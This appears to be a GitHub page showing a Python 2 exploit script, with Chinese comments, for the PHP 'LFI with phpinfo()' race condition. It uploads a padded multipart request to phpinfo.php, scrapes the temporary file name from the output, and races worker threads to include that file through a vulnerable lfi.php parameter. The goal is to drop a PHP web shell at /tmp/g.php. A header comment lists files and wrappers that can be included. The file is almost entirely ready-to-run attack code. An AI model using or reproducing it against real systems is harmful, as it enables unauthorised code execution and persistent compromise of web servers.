-
Notifications
You must be signed in to change notification settings - Fork 7
/
Copy pathlfi_phpinfo_getshell.py
232 lines (212 loc) · 6.05 KB
/
lfi_phpinfo_getshell.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
# -*- coding: utf-8 -*-
import sys
import socket
import threading
'''
lfi :可用包含
/proc/self/environ
/proc/self/fd/...
/var/log/...
/var/lib/php/session/ (PHP Sessions)
/tmp/ (PHP Sessions)
php://input wrapper
php://filter wrapper
data: wrapper
'''
def setup(host, port):
'''
初始化HTTP请求数据包
TAG:校验包含是否成功标志
PAYLOAD:包含要执行的PHP代码
padding:增加数据块内容
LFIREQ:文件包含请求
REQ_DATA:POST请求数据
REQ:完整POST请求
'''
TAG="Security Test"
PAYLOAD="""%s
<?php
$c=fopen("/tmp/g.php",'w');
fwrite($c,"<?php eval('fb');?>");
?>\r""" % TAG
padding = "A" * 4000
LFIREQ = """GET /lfi.php?load=%(file)s HTTP/1.1\r
User-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36\r
Connection: keep-alive\r
Host: %(host)s\r
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8\r
Upgrade-Insecure-Requests: 1\r
Accept-Encoding: deflate\r\n\r\n
"""
REQ_DATA = """------WebKitFormBoundaryIYu6Un7AVVkBR0k6\r
Content-Disposition: form-data; name="file"; filename="shell.php"\r
Content-Type: application/octet-stream\r
\r
%s
------WebKitFormBoundaryIYu6Un7AVVkBR0k6\r
Content-Disposition: form-data; name="submit"\r
\r
Submit
------WebKitFormBoundaryIYu6Un7AVVkBR0k6--\r""" % PAYLOAD
REQ = """POST /phpinfo.php HTTP/1.1\r
User-Agent: """ + padding + """\r
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8"""+padding+"""\r
Accept-Language: """ + padding + """\r
Cookie: """+padding+"""\r
Accept-Encoding: deflate\r
Cache-Control: max-age=0\r
Referer: """ + padding + """\r
Connection: keep-alive\r
Upgrade-Insecure-Requests: 1\r
Host: %(host)s\r
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryIYu6Un7AVVkBR0k6\r
Content-Length: %(len)s\r
\r
%(data)s""" % {'host':host, 'len':len(REQ_DATA), 'data':REQ_DATA}
return (REQ, TAG, LFIREQ)
def phpInfoLFI(host, port, phpinforeq, offset, lfireq, tag):
'''
:param host: 目标主机IP
:param port: 端口
:param phpinforeq: 对phpinfo文件的请求
:param offset: 临时文件名位置
:param lfireq:文件包含请求
:param tag: 检测包含成功标志
:return: 返回完整临时文件名
'''
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s2 = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, port))
s2.connect((host, port))
s.send(phpinforeq)
d = ""
while len(d) < offset:
d += s.recv(offset)
try:
i = d.index("[tmp_name] =>")
fn = d[i+17:i+31]
except ValueError:
return None
# print fn
s2.send(lfireq % {'file': fn, 'host': host})
d = s2.recv(4096)
# print d
s.close()
s2.close()
# print d
if d.find(tag) != -1:
return fn
counter = 0
class ThreadWorker(threading.Thread):
''';
线程操作
maxattempts:最大尝试次数
e, l, maxattempts, host, port, phpinforeq, offset, lfireq, tag
'''
def __init__(self, e, l, m, *args):
threading.Thread.__init__(self)
self.event = e
self.lock = l
self.maxattempts = m
self.args = args
def run(self):
global counter
while not self.event.is_set():
with self.lock:
if counter >= self.maxattempts:
return
counter += 1
try:
x = phpInfoLFI(*self.args)
if self.event.is_set():
break
if x:
print "\nGot it! Shell create in /tmp/g.php"
self.event.set()
except socket.error:
return
def getOffset(host, port, phpinforeq):
'''
:param host: 目标主机IP
:param port: 端口
:param phpinforeq: 对phpinfo文件的POST请求
:return:返回临时文件名在返回数据块中的位置
'''
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, port))
# print phpinforeq
s.send(phpinforeq)
d = ""
while True:
i = s.recv(4096)
d += i
if i == "":
break
if i.endswith("0\r\n\r\n"):
break
s.close()
i = d.find("[tmp_name] =>")
if i == -1:
raise ValueError("No php tmp_name in phpinfo output")
print "found %s at %i" % (d[i:i+10], i)
return i+256
def main():
print "LFI with PHPinfo()"
if len(sys.argv) < 2:
print "Usage:%s host [port] [poolsz]" % sys.argv[0]
sys.exit(1)
try:
host = socket.gethostbyname(sys.argv[1])
except socket.error, e:
print "Error with hostname %s: %s" % (sys.argv[1], e)
sys.exit(1)
port = 80
try:
port = int(sys.argv[2])
except IndexError:
pass
except ValueError, e:
print "Error with port %d: %s" % (sys.argv[2], e)
sys.exit(1)
poolsz = 10
try:
poolsz = int(sys.argv[3])
except IndexError:
pass
except ValueError, e:
print "Error with poolsz %d: %s" %(sys.argv[3], e)
sys.exit(1)
print "Getting initial offset..."
phpinforeq, tag, lfireq = setup(host, port)
offset = getOffset(host, port, phpinforeq)
sys.stdout.flush()
maxattempts = 500
e = threading.Event()
l = threading.Lock()
print "Spawning worker pool (%d)..." % poolsz
sys.stdout.flush()
tp = []
for i in range(0, poolsz):
tp.append(ThreadWorker(e, l, maxattempts, host, port, phpinforeq, offset, lfireq, tag))
for t in tp:
t.start()
try:
while not e.wait(1):
if e.is_set():
break
with l:
sys.stdout.write("\r % 4d / % 4d" % (counter, maxattempts))
sys.stdout.flush()
if counter >= maxattempts:
break
if e.is_set():
print "Woot! \m/"
else:
print ":("
except KeyboardInterrupt:
print "\nTelling threads to shutdown..."
e.set()
for t in tp:
t.join()
if __name__ == "__main__":
main()